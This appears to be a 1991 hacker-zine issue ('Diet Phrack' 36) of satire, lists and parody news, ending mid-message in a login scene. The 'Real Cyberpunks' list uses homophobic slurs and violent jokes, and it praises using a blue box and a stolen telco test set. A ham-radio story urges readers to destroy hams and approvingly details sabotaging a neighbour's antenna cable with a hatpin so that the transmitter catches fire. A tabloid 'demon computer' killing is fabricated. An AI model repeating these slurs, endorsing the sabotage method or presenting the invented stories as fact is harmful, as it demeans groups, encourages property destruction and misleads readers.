‑ Real cyberpunks read 2600, Factsheet‑5, Full Disclosure, Iron Feather Journal, Cybertek, Radio Electronics, Circuit Cellar Ink, Computer Shopper, American Survival Guide, and any 'zines about local bands in their area.

Corollary to the above: Real cyberpunks understand what they read in these publications.

‑ Real cyberpunks think Mondo2000, for the most part, sucks.

‑ Real cyberpunks learn about everything from Computers to Crossbows.

‑ Real cyberpunks know how to spell.

‑ Real cyberpunks speak at least 2 languages.

WEAPONS

‑ Real cyberpunks don't have the typical yuppie artfag fear of weapons that most modem users seem to have.

Corollary to the above: Real cyberpunks know the value of useful equipment.

‑ Real cyberpunks own at least one gun.

‑ Real cyberpunks carry Gerber, Cold Steel, SOG, AlMar, or Spyderco blades.

Corollary to the above: Real cyberpunks think custom steel is neat, but costs too much.

‑ Real cyberpunks have memorized The Improvised Munitions Black Book.

‑ Real cyberpunks know The Anarchist Cookbook is a crock of shit.

‑ Real cyberpunks buy everything authored by Seymour Lecker and Kurt Saxon.

‑ Real cyberpunks keep a supply of DMSO handy. Corollary to the above: Real cyberpunks know what DMSO is.

MUSIC

‑ Real cyberpunks go to The Mentors' concerts whenever they can.

‑ Real cyberpunks think C&C Music Factory is just a bunch of out‑of‑thecloset homosexuals.

‑ Real cyberpunks don't listen to Paula Abdul.

‑ Real cyberpunks think Michael Jackson should be napalmed. Corollary to the above: Real cyberpunks think Michael Jackson is a reincarnate of his monkey Bubbles.

‑ Real cyberpunks think Top‑40 sucks.

‑ Real cyberpunks listen to Ministry, The Cure, Skinny Puppy, The Misfits, Rush, Pink Floyd, etc.

‑ In the end, real cyberpunks listen to whatever the fuck they want.

PHREAKING & HACKING

‑ Real cyberpunks think codes are for fags, but use them anyway because they put pragmatism before principle.

‑ Real cyberpunks know what TEMPEST means.

‑ Real cyberpunks use data‑taps.

‑ Real cyberpunks have Internet access.

‑ Real cyberpunks know why Broadway Hacker invited everyone to his house.

‑ Real cyberpunks know what PPS really means.

‑ Real cyberpunks know Clifford Stoll's ex‑wife is a lesbian. Corollary to the above: Real cyberpunks know that Clifford Stoll is an asshole.

‑ Real cyberpunks know just how good friends John Maxfield and Broadway Hacker are.

‑ Real cyberpunks know who John Maxfield is and what he was arrested for.

‑ Real cyberpunks own a blue box, and still use it. Corollary to the above: Real cyberpunks know what a blue box is, and know how to use it.

‑ Real cyberpunks know what a TS‑21 is.

Corollary to the above: Real cyberpunks stole their TS‑21.

‑ Real cyberpunks have acquired a Bell System hard‑hat.

‑ Real cyberpunks have a payphone.

Corollary to the above: The payphone belongs to someone else.

‑ Real cyberpunks on the east coast have attended at least one 2600 meeting.

Corollary to the above: Real cyberpunks who have attended a 2600 meeting don't go to them anymore.

Corollary to the corollary: Real cyberpunks are waiting for another OSUNY meeting.

Further corollary: Real cyberpunks know what OSUNY originally stood for.

HEALTH

‑ Real cyberpunks use Choline, Ginseng, and Golden Seal. Corollary to the above: Real cyberpunks know what these are.

‑ Real cyberpunks know about the medicinal value of various plants.

‑ Real cyberpunks take care of themselves.

‑ Real cyberpunks take time away from fucking with their computers to get some exercise.

FOOD & DRINK

‑ Real cyberpunks drink Jolt.

Corollary to the above: Real cyberpunks think Pepsi is for artfags.

‑ Real cyberpunks are intimately familiar with the selection at 7 Eleven, but avoid it whenever possible.

‑ Real cyberpunks know how to cook.

‑ Real cyberpunks drink Guinness Stout.

‑ Real cyberpunks who are under 21 distill their own.

‑ Real cyberpunks can go to a Supermarket and not get lost.

That's it for now, but since lamers are always finding mew ways to become lame, expect a Real Cyberpunks Vol. II soon.

Yours truly,

The Men From Mongo, 9/24/91

:OSUNY, TCO, PPS, SPS, PHALCO

Elite World News

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 10 of 11

________________________

|

| ^*^ ^*^

|

| *Elite* World News |

|

| Issue 36 / Part 1 of 2 |

|

| Compiled, Edited, and Mangled by Dr. Dude |

|

| ^*^ ^*^

|________________________

A GOOD HAM IS A DEAD HAM

Special Thanks: Twisted Pair

Just as geeks with computers annoy hackers and phreaks, geeks with "ham" sets annoy those of us that diddle with electronics. To prove my point just go to ANY "Ham‑Fest." See the guy walking around with the headset walkie‑talkie that looks like he shaved about 4 days ago, grossly overweight, dressed in the ugliest clothing, and is just simply nerdier than hell? Being involved with electronics we are constantly irritated by these losers. We urge everyone out there to DESTROY ANYONE THAT CLAIMS TO BE A HAM!!!!!

Anyway, what follows is a true story:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Our story is basically about a guy named Jim. Jim liked to watch a particular TV show when he got home from work everyday like a lot of people do. Lately, Jim's TV reception on all channels was being ripped up by an unknown interference signal. Being disgusted with the TV picture, ol' Jim said, "Fuck it." He decided to listen to the radio for awhile, but, GOD DAMNIT there was interference there, too. By this time Jim is really very upset. The interference would come in spurts, loudly interrupting whatever show was on at the time with a loud, distorted, unintelligible voice.

Jim began to wise up quickly after being subjected to watching snowy pictures, flipping pictures, and listening to someone's raspy, annoying distortion on his TV. He figured out that his neighbor down the street (we'll just call him Ham) had a big antenna sticking up beside his house. Jim noticed that the interference was always present when Ham's 4x4 truck, with KC lights, and tractor tires was at home. Jim went over to talk to Ham. Ham said his "antenner" was his "binnus." What ever Ham wanted to do with it was his "damned binuss." After the door was slammed in Jim's face, Jim decided to do some research.

Jim spoke to some of his other neighbors about the problem. What a surprise. Turns out they ALL had the interference. The interference area was at least 4 blocks in every direction. The neighbors decided that they would go have a chat. So, 6 people from all parts of the neighborhood went go see Ham for a friendly visit. Ham reluctantly opened the door and immediately started cussing about it being his "antenner," his "Ham gear," his "ampluhfieers," and he would operate them as he damned well pleased! He also DARED anyone to stop him from broadcasting in the neighborhood.

Jim, now beyond pissed off, contacted the FCC regional office in Chicago. They helped him fill out a formal complaint. The FCC, usually slow to act on such complaints, gave Jim a lucky break. The FCC just happened to have a senior inspection official who would be in Jim's area the next week. Jim couldn't wait! On the fateful day of the FCC's visit, they came armed to the teeth with all kinds of state‑of‑the‑art‑neato things. The FCC guys showed up in a white van with windows tinted black. There were no markings on this van, except for multiple antennas of all types sitting on top of the van (how very unobtrusive and sneaky are they). The inspectors first met with Jim to look at his bad reception to confirm that Ham was transmitting. Then they took Jim out to the van to show him how they check out such complaints. The van was LOADED. The FCC guys had spectrum analyzers, custom‑made multi‑frequency receivers that covered all bands, they had signal strength meters, they had equipment controlled by a PC. They also had a PC linked via radio to somewhere. On it they could look up information on ANY ham license, broadcast license, suspected pirate station, or check personal records of known offenders.

The FCC's equipment confirmed that Ham was broadcasting shortwave with WAY too much power. Their power meter was pegged on its highest scale, damaging it (oops!). Well, the FCC inspector was pretty hot about that. In fact, he was really pissed. He drove the van up to Ham's house, slamming on the brakes with screech. Ham bolted to the door. The FCC guys showed their ID and asked Ham to come on outside and look at the stored readings they had made earlier on Ham's signal. Ham refused at first, but finally came outside.

Ham swore a few too many times and pissed off the FCC inspectors even more. Ham told them he didn't believe their readings, and would just do as he pleased. He went back into the house and locked the door. Jim wasn't happy either. After using their cellular phone to call for police backup, the senior FCC inspector told his partner to cover the back door.

The police arrived with lights on and sirens blaring. The FCC guy INSISTED that HE get to kick Ham's door in. The police obliged. After a short struggle with Ham, he was tossed onto the front yard and cuffed. The inspectors confiscated a whole room full of Ham gear, 3 transmitters, Ham logs, big homemade linear amplifiers, etc. Not wanting to climb Ham's tower to get at his antenna, the FCC just CUT OFF Ham's antenna cable about 15 feet up. How cute! The WHOLE cable would have to be replaced if Ham was ever to broadcast again.

Ham's gear was permanently confiscated, his license revoked for life, and certainly appeared as though he was embarrassed by the scene in his yard. The end? Not!

Just one month later Jim started noticing interference patterns on his TV set and radio again. Daily the problem grew worse. This time he could hear tones mixed in with the crackly, distorted voice. After a week of this was back at it again. Jim checked it out. He saw that Ham's truck was, indeed, in the driveway every time the distortion was present. Ham WAS back at it again. Jim assured everyone who called that he WOULD take care of the problem once and for all. After watching the evening news program break apart several times (always during the most important parts), Jim got good and mad. It was getting dark, so Jim decided to do a little tower climbing!

Jim wore black clothing so he wouldn't be seen by Ham. While getting ready to scale Ham's tower, Jim noticed that Ham had installed brand‑new antenna cable. A light was on in the basement window which was directly in front of the base of the tower. Jim peered into the window. He noticed that each time Ham talked into his microphone, a red light came on that could be faintly seen from outside. Jim jumped onto the base of the tower, being careful that Ham couldn't see his feet out his basement window. On the way up the tower, Jim looked down to watch the red light which went on whenever Ham was transmitting.

Jim came prepared for the job. He had two things in his pocket; a long, sharp hatpin and a roll of black electrical tape. After climbing about 15 feet up the tower, Jim once again looked down to see if Ham's red light was on. It was off. Jim worked fast. He took out the hat pin and inserted it crossways straight THROUGH Ham's new antenna cable. The hatpin would short out the cable's grounded shield with the live center conductor in the cable. He made sure it was pushed in all the way. Jim quickly grabbed the electrical tape and carefully wrapped it around the cable to cover up the pin, making it unnoticeable. Then he climbed down a little ways and decided to jump the rest of the way down.

Just as he landed on the ground the sparks FLEW! He saw a BRIGHT red flash of light as Ham keyed on his transmitter. There were a couple of loud pops as loud as gunfire. Lying on the ground, Jim saw the smoke and flames rolling out of Ham's transmitter and amplifier. Ham was JOLTED out of his chair with ice cubes flying out of the drink he was holding. Ham's circuit breaker must have tripped, too because his entire HOUSE went dark after about 5 seconds.

Ham never was able to find the problem with his antenna system. He must have given up because the interference stopped!

________________________________________

DEMON COMPUTER KILLS TWO WORKERS! November 12, 1991 by Sally O'Day (Weekly World News)

"Exorcist Called In After Experts Discover Virus‑bred Evil Spirit!"

Bank officials have summoned an exorcist to rid a computer terminal of a hideous horned demon that <has> already killed two employees and put another in a coma!

And if Father Hector Diaz fails in his mission to banish the spirit, authorities say they will have to shut down the bank because the computer can't be turned off, moved, or unplugged. And as long as it remains in place, every customer and employee is in danger.

"This sounds like something out of a sci‑fi movie, but the threat is both serious and real," Police Detective Raul Lopez told reporters. "I don't know why and I don't know how. But an evil force or spirit is living in that machine and the death of two innocent people proves it."

Maria Catalan was found sitting at her terminal with her head in her lap." Carmen de la Fuente had a fatal heart attack within two minutes of sitting down to work.

Computer experts tired to examine the terminal, but they had no success whatsoever. One of them started babbling like a madman when he got within 10 feet of the machine and a dozen more were flung to the floor like rag dolls by some unseen force.

"We can't turn the machine off because everyone who tries blacks out and falls to the floor. I know I must sound like a lunatic, but that computer truly has a mind ‑‑ and a life ‑‑ of its own."

The mind‑numbing drama began when the bank in Valapariso, Chile, installed a new computer system last spring. Within days the system turned deadly.

When a bank custodian told of seeing a hideous horned demon appear on the computer screen, bank officials asked Father Diaz to perform an exorcism. The priest has been unavailable for comment while he prepares the rite of exorcism.

But a spokesman for the firm that installed the computer system says that a computer virus almost certainly created the conditions which caused the terminal to kill.

________________________________________

THE TRUE SIGNIFICANCE OF ZODIAC SIGNS

by Dr. Dude

AQUARIUS (JAN 21‑FEB 19) You have an inventive mind and are great at engineering people. You frequently abuse c0dez and spend a great deal of time hacking voice mail box systems. (Night Ranger)

PISCES (FEB 21‑MAR 20) You have a very vivid imagination and often think you are being followed by the FBI and the CIA. You also feel as though you need to join as many "groups" as possible. Pisces write a lot of "How Break Into/Steal Fortresses" files. (Lex Luthor)

ARIES (MAR 21‑APR 21) You are a pioneer and an innovator. You hold most people in contempt. You are quick tempered, impatient, and scornful of everyone. No one can ever hope to be as El1te as you are. Most Aries aren't actually hackers, because they spend too much time pestering other hackers and trying to destroy the computer underground than actually hacking into systems. All aries will grow up to work for the Secret Service. All Aries try to join MOD. (Dictator, Dan the Operator, Corrupt)

TAURUS (APR 21‑MAY 21) You are practical and persistent. You hack like hell and never get credit for anything. Most people think you are racist. You like to write files about "Running Over Things With a 4x4" and "Making Drugs." You are goddamn redneck hacker. (Taran King)

GEMINI (MAY 22‑JUNE 21) You are a quick and intelligent thinker. People like you because you are bisexual. However, you are inclined to expect too much for too little. This is why all Geminis are leeches. Geminis belong to at least 10 boards at a time and are on the endless quest for El1teness.

CANCER (JUNE 22‑JULY 23) You are very compassionate and overly trusting and never do any dark side hacking. This makes you the perfect fool. Cancers write virii in LOGO and Blue Box from their home phones. Cancers think that Tim Foley is a misunderstood man.

LEO (JULY 24‑AUG 23) You consider yourself a born leader, while others consider you loud and pushy. This is why all Leos are power hungry and therefore a lot of Leos are sysops. Most Leos talk big and then do nothing. Leos are also into starting "groups." (Ninja Master)

VIRGO (AUG 24‑SEPT 23) You are the logical type and hate disorder. That's why you spend more time collecting text files and news related to hacking than actually doing any hacking or phreaking. (Crimson Death, Knight Lightning)

LIBRA (SEPT 24‑OCT 23) You are the artistic type and have a difficult time with reality. You brag about your library of porno GIF's and have close ties with Amiga pirate groups. You also tend to be fairly talkative, thus making you a great informant for the Secret Service. (Dispater, Erik Bloodaxe, Tuc)

SCORPIO (OCT 24‑NOV 22) You are shrewd in business and cannot be trusted. You will achieve the pinnacle of success due to your complete lack of morals and ethics. All Scorpios are into crashing BBS. You are a perfect son of a bitch. (The Disk Jockey)

SAGITTARIUS (NOV 23‑DEC 21) You are overly optimistic and enthusiastic. You have a reckless tendency to rely on luck since you lack any real talent. A typical Sagittarian move is to drag home 10 bags of trash from the local telco to discover the only thing they got out of the ordeal was a car that smells like coffee for the next 3 weeks. (Aristotle, Predat0r)

CAPRICORN (DEC 22‑JAN 20) You are overly conservative and afraid of taking risks. You would be afraid of redboxing from a downtown Los Angeles at lunchtime. You think that copying pirated software will lead the FBI to you front doorstep the next day. You are a puss. (Juan Valdez)

________________________________________

GOD, RUSTY, & INWARD OPERATORS

Once again, Pat Townson admonishes a reader of comp.dcom.telecom for having a little phun at work.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: 0004133373@mcimail.com Donald E. Kimberlin (comp.domp.telecom)

..in a footnote <Digest vol10, iss637), our Moderator suggests,

> "... some children, phreaks and assorted other folks consider it quite a > funny joke to conference two unrelated parties via three‑way calling, then >let them (the two called parties) squabble with each other while the >perpetrator goes spastic with laughter at his little prank. PAT]"

Well, it brings to mind three incidents that I guess can now be told:

1.) The good old "testboard," of course, had the ability to "conference in" several parties, while the person on the testboard could cut off their own talk path, leaving the two parties talking to each other. In an earlier, simpler DDD network, simply dialing an area code plus 121 got the "Inward Operator." a.k.a "Assistance" to the public's view for an entire area code. In a yet‑to‑bedivulged corner of Long Lines, it was a favorite pastime to dial 809+121 (San Juan, Puerto Rico) and 808+121 (Honolulu, Hawaii) and let two Ernestines of the Lily Tomlin era argue about which had called which and what they were supposed to do. Meantime, gales of laughter could be heard around the monitoring loudspeaker in a testroom thousands of miles from either of them!

2.) In a similar fashion, happenstance listening found an FX between two cities that got dialed up every morning and contained a day‑long dialog between two receptionists of the same company. One was named "Rusty." Rusty's nightly romantic exploits in a major seaside resort city, if true, would provide years of material for one of today's "Confessions" 900 numbers! They were replete with details of Rusty's specialized wardrobe and tools of her nighttime trade. Needless to say, the day shift had a monitor speaker plugged into THAT FX daily. (I almost swallowed my chewing gum more than once!) After a long period <months> of unobtrusive listening, a testboardman <whose name is yet to be divulged> began to pop in with comments that could be heard only by Rusty and not her audience at the other end.

Rusty would respond, leaving her private audience puzzled at who Rusty was talking to. That would cause the discussion to turn to suggestions of reporting eavesdroppers on the phone. However, no reports were ever filed when it got around to, "But what if they ask what we were talking about?" (It would have been hilarious, anyway, because the self‑same room that was doing the listening was the place the trouble reporting number was in ... in fact, the self‑same people!)

3.) The highest level of development of this art might be classified as an early form of the "Talking to God" service recently purported to have emerged in Italy. This one was over on the 17B Board, where thousands of DDD message trunks terminated in ports of the 4A toll switching machine. Each evening, as the network peaked with the 7 PM rush for cheap rates, it wasn't difficult to find a circuit on which a couple of good old Bible‑toting down south mommas were commiserating about their physical aches and heartaches over the foibles of their "chilluns." When one finally asked, as they always did, for the Lord to intervene, an obliging testboardman would plug into the four‑wire transmit toward the requester and play God on the Telephone. Invariably, the poor dear would literally swoon and shush the questioning other, who couldn't hear God talking! One can imagine the testimony of miracles next Sunday morning at the country church!

But of course, NOBODY ever listens in on YOUR calls...why, the Company would NEVER permit that! Boy, I sure hope the Statute of Limitations has run out on this!

[Moderator's Note: I still don't think it is funny. I regard it as a major violation of trust; and I'm sure you are aware that had the employees involved in this little prank been caught and the subscriber's involved elected to sue, telco would have had to pay financially and the employees involved probably would have lost their jobs. PAT]

________________________________________

ELITE WORLD NEWS QUICKNOTES

1. After the recent massive failure in New England, their fourth since January 1990, ATT announced a new customer service number for affected customers to call in case of future problems: 1‑900‑Call‑ATT.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. Corrupt & MOD are Really Fat Albert & The Junk Yard Gang! "Habba mamba, NebbitWibbiz bebba Fabbit Abet."

That's right! In this exclusive interview with Weird Harald (aka The Wing) Phrack Inc. discovers that the true identity of Corrupt is Fat Albert. WH is now talking. Why? Because the leader of the infamous New York City crack gang (Corrupt) threatened to post his "info" on Internet Relay Chat if Harald did not step up his rag wars.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. The Hacker's Dictionary explains that "RTM," apart from being the login of a certain Cornell student, is also common shorthand for "Read The Manual," as in "Don't hassle me now, did you RTM?"

Turns out that the original expression was RTFM, like "Look, I got 20 klingons on the screen and no warp drive. Go RTFM."

Now, turns out that Morris's hack is viewed as uncool because he screwed up the coding so a few netfolks changed his login to RTFM.

"Ha ha only serious." (another expression from the Hackers's Dictionary)

Elite World News

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 11 of 11

________________________

|

| ^*^ ^*^

|

| *Elite* World News |

|

| Issue 36 / Part 2 of 2 |

|

| Compiled, Edited, and Mangled by Dr. Dude |

|

| ^*^ ^*^

|________________________

STUDS PROMOTE BETTER IMAGE

Introducing Eric Bloodtest, Dick Holiday, PH‑factor, and Bobbie Buttercupps!

HOUSTON ‑‑ Three self‑professed members of the Legion of Dudes, one of the most notorious swingers groups to operate in the United States, said they now want to get paid for their skills. Along with a former X‑rated film actor, the members launched a new dating service called ComseX Dating Security that will check out women whom male customers might be interested in dating.

"We have been in the dating business for the last 11 years ‑‑ just holding on to the different end of our stick," said Scott Girlchaser who said he once used the handle Dick Holiday as a Legion of Dudes member. The group has been celibate since late last year, Girlchaser said.

The start‑up firm plans to offer sister penetration testing, personality matching, and sexual training services as well as security products. "We have information that you can't find in Penthouse or Playboy: We know why people date, what motivates them, why they are curious," Girlchaser said.

Already, the start‑up has met with considerable skepticism.

"Would I hire a gigolo to be an escort for my mother?" asked John Kastrate, dating information administrator at Love & Holding Corporation in Hollywood, California. "If they stayed celibate for 5 to 10 years, I might reconsider, but 12 to 18 months ago, they were swingers, and now they have to prove themselves."

"You don't hire ne'er‑do‑wells to come and grope at your fiance," said Tom Smallpenis, a sexual therapist patient at General Hospital. "The Legion of Dudes is a known anti‑monogamous group, and although it is good to see they have a heterosexual bent, GH would not hire these people."

ComseX already has three contracts with various men's organizations, Girlchaser said.

"I like their approach, and I am assuming they are legit," said Herman Slutten, a dating consultant at HeyMan Datababe Corporation in Phoenix, Arizona. His firm is close to signing a contract with ComseX, Slutten said.

Federal health enforcers have described the Legion of Dudes in reports, indictments, search warrants, and other documents as a closely knit group of about 15 swingers whose members sleep around, father children, skip out on child support, participate in S&M, and break hearts by entrancing women across the country.

The group was founded in 1984 and has had dozens of members pass through its ranks. Approximately 12 former members have been infected by sexually transmitted diseases relating to their exploits. Three former members are now dead and at least three others are regularly receiving treatment. None of the ComseX founders have ever been infected with a sexually transmitted disease.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

AN OFFER YOU COULD REFUSE?

Tom Smallpenis, a sexual therapist patient at General Hospital in Chicago, says he would never hire ComseX Dating Security, a dating service launched by three ex‑members of the Legion of Dudes. "You don't bring in an unknown commodity and give them the keys to the bedroom," Smallpenis said. Chris Womanizer, one of ComseX's founders, retorted: "We don't have the keys to their bedroom, but I know at least four people off the top of my head that do." ComseX said it will do a free sister penetration for GH just to prove the dating service's sincerity, Womanizer said. "All they have to do is sign release forms saying they won't hit us with a palimony suit."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

GROUP DUPES SEXUAL EXPERTS

"Houston‑Based ComseX Fools Consultants To Gather Sexual Information"

HOUSTON ‑‑ Dating and escort services are supposed to know better, but at least six firms acknowledged last week that they were conned. The "entertainment" providers said they were the victims of a bit of sexual engineering by ComseX Dating Security, Inc., a dating service recently launched.

ComseX masqueraded as prospective bachelors and out of town businessmen using the name of Omega Sigma Delta, a large nation‑wide young men's fraternal organization to gather information on how to prepare panty‑raid proposals and conduct sorority audits and other fraternity business techniques, the consultants said.

Three of ComseX's four founders are self‑professed former members of the Legion of Dudes, one of America's most notorious swingers groups, according to health inspectors.

"In their press release, they say, 'Our firm has taken a unique approach to its sales strategy,'" said one consultant who requested anonymity, citing professional embarrassment. "Well, sexual engineering is certainly a unique sales strategy."

Sexual engineering is a technique commonly used by swingers to gather favors from helpful, but unsuspecting women that may be used to penetrate other unsuspecting females.

"They are young kids that don't know their penis from their belly‑button about doing business, and they are trying to glean that from everybody else," said Itchy Crotch, director of consulting at Sister Virginity Consultants, Inc., in Little Rock, Arkansas.

The consultants said gathering information by posing as a prospective customer is a common ploy, but that ComseX violated accepted business ethics by posing as the Omega's.

"It is a pretty significant breech of business ethics to make the misrepresentation that they did," said Hardon Mormon, house father for the Omega Sigma Delta's. "They may not be swinging anymore, but they haven't changed the way they operate."

Mormon said his chapter had received seven or eight calls from sexual consultants who were following up on information they had sent to "Hairy Prostate," supposedly the Rush Chairman.

SAME OLD STORY

The consultants all told Mormon the same tale: They had been contacted by "Prostate," who said he was preparing to conduct a sexual orientation clinic and needed information to pitch the idea to the chapter President and alumni. "Prostate" had asked the consultants to prepare a detailed proposal outlining the steps of a sexual invitation, pickup lines, and other information.

The consultants had then been instructed to send the information by overnight mail to a Houston address that later proved to be the home of two of ComseX's founders. In some instances, the caller had left a telephone number that when called was found to be a constantly busy condom company order number.

Mormon said "Prostate" had an intimate knowledge of the fraternity's rituals that is known only to members. While there is no evidence that the chapter was penetrated by outsiders, the Omegas are "battering down their hatches," Mormon said.

Posing as a prospective customer is not an uncommon way to gather competitive information, said Chris Womanizer, one of ComseX's founders, who once used the handle of Erik Bloodtest.

"Had we not been who we are, it would be a matter of no consequence," Womanizer said.

"They confirm definitely that they called some of their competitors," said Michael Shyster, an attorney representing ComseX. "The fact they used Omega Sigma Delta was an error on their part, but it was the first name that popped into their heads. They did not infiltrate the fraternity in any way."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

"LEGION OF DUDES ‑‑ INTERCOURSE WORLD TOUR" T‑SHIRTS!

Now you too can own an official Legion of Dudes T‑shirt. This is the same shirt that sold‑out rapidly at the "UltraSex" swingers conference in San Francisco. Join the other proud owners such as award‑winning actresses Traci Lords and Madonna by adding this collector's item to your wardrobe. This professionally made, 100 percent cotton shirt is printed on both front and back. The front displays "Legion of Dudes Intercourse World Tour" as well as a condom on a telephone next to a little black book. The back displays the words "Swinging for Jesus" as well as a substantial list of "tour stops" (women's telephone numbers) and a quote from Dr. Ruth. This T‑shirt is sold only as a novelty item, and is in no way attempting to glorify meaningless sex.

Shirts are only $15.00, postage included! Overseas add an additional $5.00. Send check or money‑order (No CODs, cash or credit cards ‑‑ even if it's really your card :‑) made payable to Eric Bloodtest.

________________________________________

GOLFERS: THREAT TO NATIONAL SECURITY

It must no longer go unremarked that many of the criminals who threaten the foundation of our society are golfers. Golfers persist in attacking our personal, financial, and military security. Many golfers like the famous Spiro Agnew, have been involved in bribery, extortion, and other forms of corruption.

Some golfers have been know to hit out of bounds as a pretext for trespassing in residential communities. Such thing can easily turn into incidents of spying and burglary.

Other golfers will use the harmless‑looking little white balls to inflict injuries on bystanders, propelling the dangerous projectiles at speed in excess of 120 miles per hour. The danger of head injury is obvious. Golfer's careless disregard for the safety of other people hardens our children to violence. The idea that shouting a single, obscure word makes it all right to bop some innocent person on the head with a hard projectile has brought our society to the brink of savagery.

It doesn't take a genius to see that avoidance of golf is a corner stone of Soviet military strategy. This gives the Soviets a tremendous advantage in daytime warfare. If the Soviets launch an attack at 3 pm EST on a weekday in June, approximately 20% of American manpower will be uselessly deployed in fairways, sandtraps, and rough. Even those in bunkers will be in the wrong kind of bunkers. At 3 pm on a weekend, as much as 50 percent of our manpower might be trying to avoid bogies rather than trying to shoot them down.

If the forgoing attack on golfers seems unfair (and of course, the analogy is not perfect), it is not any more so than the attack by the general press on hackers of another kind ‑‑ computer hackers. Some national publications have used the term "hacker" incorrectly as a synonym for "criminal." Hackers are people who play with computers at a high technical level because they enjoy doing so. There are many, thousands, of hackers in North America. A few hackers use their computer skills for pranks, and fewer still use their skills to commit crimes. But chances are excellent that far more hackers are helping to build defenses around database rather than trying to penetrate them. Even if one percent of hackers started trying to invade databases the problem would be more serious than those sensationalized in the press.

It wasn't being a golfer that got Spiro Agnew in trouble. Just being a hacker won't get you in trouble, either. Hackers are entitled to the same presumption of innocence as golfers and other common special interest groups. Hackers also deserve the correct continued use of the authentic, distinctive, and colorful name that they gave themselves.

________________________________________

PRIME SECURITY MEASURES FROM BELLCORE December 10, 1991

The December 10, 1991 issue of MacWeek contains an article which states that two mathematicians have found a trapdoor in the National Institute of Standards and Technology's proposed Digital Signature Standard.

Stuart Haber and Arjen Lenstra, both of Bellcore, have discovered a way of choosing prime numbers for DSS which could be used to subvert the security of the algorithm, allowing digital signatures to be forged.

Miles Smid, manager of NIST's Security Technology Group, agreed that trapdoor prime numbers could be constructed. He had been aware of this possibility but apparently hoped to circumvent this problem by relying upon primes generated by a trusted federal agency.

The article implies that there are ways of checking a prime to see if it is one of the weak "trapdoor" primes. However, Smid agrees that average users could not be expected to perform this test.

Bellcore has developed an implementation of NIST‑DSS that it had planned to distribute for free. With this recent revelation, though, Bellcore has decided to not distribute the software.

________________________________________

VIRUS UPDATE

Official Notice, Post Immediately

X x

X x

X x

X

x X

x X

x X

Dangerous Virus!

Several years ago a virus called the "X window system" escaped from Project Athena at MIT where it was being held in isolation. It took some time for the full magnitude of this disaster to become known. When confronted with the truth, a spokesman for MIT would state only that "MIT assumes no responsibility." In the meantime, X had succeeded in infiltrating Digital Equipment Corporation, where it corrupted the judgement of key technical and management personnel in this organization.

With a foothold gained at DEC, a sinister consortium was created using X as part of a plan to dominate and control interactive window systems. Today, X windows is distributed by this consortium free of charge to unsuspecting victims. DEC daily ships machines carrying this dreaded infestation.

X ‑ whether it's filling your hard disk or consuming your CPU, you can be sure it's up to no good. Innocent users need to be protected from this dangerous virus. Even as you read this, the X source distribution and the executable environment is present and being faithfully maintained on hundreds of computers, perhaps even your own.

The destructive cost of X cannot even be guessed.

X is an example of how software with good intentions can go bad. It victimizes innocent users by distorting their perception of what is and what is not good software. This malignant window system must be destroyed. Ultimately DEC and MIT must be held accountable for this heinous *software crime*, brought to justice, and made to pay for a *software cleanup*. Until DEC and MIT answer to these charges, they both should be assumed to be protecting dangerous software criminals.

Don't be fooled! Just say no to X.

X windows. A mistake carried out to perfection. X windows. Dissatisfaction guaranteed. X windows. Don't get frustrated without it. X windows. Even your dog won't like it. X windows. Flaky and built to stay that way. X windows. Complex nonsolutions to simple nonproblems. X windows. Flawed beyond belief. X windows. Form follows malfunction. X windows. Garbage at your fingertips. X windows. ignorance is our most important resource. X windows. It could be worse, but it'll take time. X windows. It could happen to you. X windows. Japan's secret weapon. X windows. Let it get in *your* way. X windows. Live the nightmare. X windows. More than enough rope. X windows. Never had it, never will. X windows. No hardware is safe. X windows. Power tools for power fools. X windows. Power tools for power losers. X windows. Putting new limits on productivity. X windows. Simplicity made complex. X windows. The cutting edge of obsolescence. X windows. The art of incompetence. X windows. The defacto substandard. X windows. The first fully modular software disaster. X windows. The joke that kills. X windows. The problem for your problem. X windows. There's got to be a better way. X windows. Warn your friends about it. X windows. You'd better sit down. X windows. You'll envy the dead.

________________________________________

THE FUTURE OF SUPERCOMPUTING

"Wow. Teraflops. You must be kidding."

"No. Our engineers pulled off magic on this one. I don't have the specifics right now but they claimed somewhere around 50 Teraflops per CPU."

"Fantastic. So how about i/o?"

"They worked some magic there, too. They claim they can jack an external interface up into the hundreds of gigabytes, with high reliability. Loopback only, of course. They're having problems finding anything that can match it to run tests."

"Great. Looks like we'll have old Seymour by the balls on this one. Do you realize that we may have the fastest computer line for the next decade, even if we don't change anything? This is excellent news. Do we have a test sight selected yet?"

"Actually, we have an installed site right now. They love the performance and the reliability. They only have one minor complaint about the hardware."

"Really. What seems to be the problem?"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Blade UNIX v2 (bu2.scso.umi.edu)

For help, send email to consult@scso.umi.edu

login: jux6710a

Password:

Hello, jux6710a!

Last login from hedgehog.scso.umi.edu at Fri Sep 27 13:30:12 CDT 1991 You have new mail.

bu2 /sci/users3/jux6710a mail

Mail version SMI 4.0 Sat Oct 13 20:32:29 PDT 1990 Type ? for help. "/usr/spool/mail/jux6710a": 1 message 1 new

U 1 joey@sdsc.utexas.edu Mon Aug 26 17:18 64/3904 You dork! >N 1 machine@bu2.scso.umi.edu Tue Aug 27 20:18 16/667 It is your time. & 2

Message 2:

